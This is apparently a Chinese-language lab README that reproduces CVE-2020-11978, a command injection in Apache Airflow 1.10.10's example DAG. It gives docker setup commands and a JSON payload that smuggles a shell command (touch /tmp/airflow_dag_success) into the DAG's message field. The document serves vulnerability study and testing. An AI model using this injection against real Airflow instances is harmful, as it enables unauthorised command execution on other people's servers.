# Apache Airflow 示例dag中的命令注入（CVE-2020-11978）
|
||
|
||
Apache Airflow是一款开源的，分布式任务调度框架。在其1.10.10版本及以前的示例DAG中存在一处命令注入漏洞，未授权的访问者可以通过这个漏洞在Worker中执行任意命令。
|
||
|
||
由于启动的组件比较多，可能会有点卡，运行此环境可能需要准备2G以上的内存。
|
||
|
||

|
||
|
||
## 漏洞环境
|
||
|
||
依次执行如下命令启动airflow 1.10.10：
|
||
|
||
```bash
|
||
#初始化数据库
|
||
docker compose run airflow-init
|
||
|
||
#启动服务
|
||
docker compose up -d
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
访问`http://your-ip:8080`进入airflow管理端，将`example_trigger_target_dag`前面的Off改为On：
|
||
|
||
|
||
|
||
再点击执行按钮，在Configuration JSON中输入：`{"message":"'\";touch /tmp/airflow_dag_success;#"}`，再点`Trigger`执行dag：
|
||
|
||
|
||
|
||
等几秒可以看到执行成功：
|
||
|
||
|
||
|
||
到CeleryWorker容器中进行查看：
|
||
|
||
```bash
|
||
docker compose exec airflow-worker ls -l /tmp
|
||
```
|
||
|
||
可以看到`touch /tmp/airflow_dag_success`成功被执行：
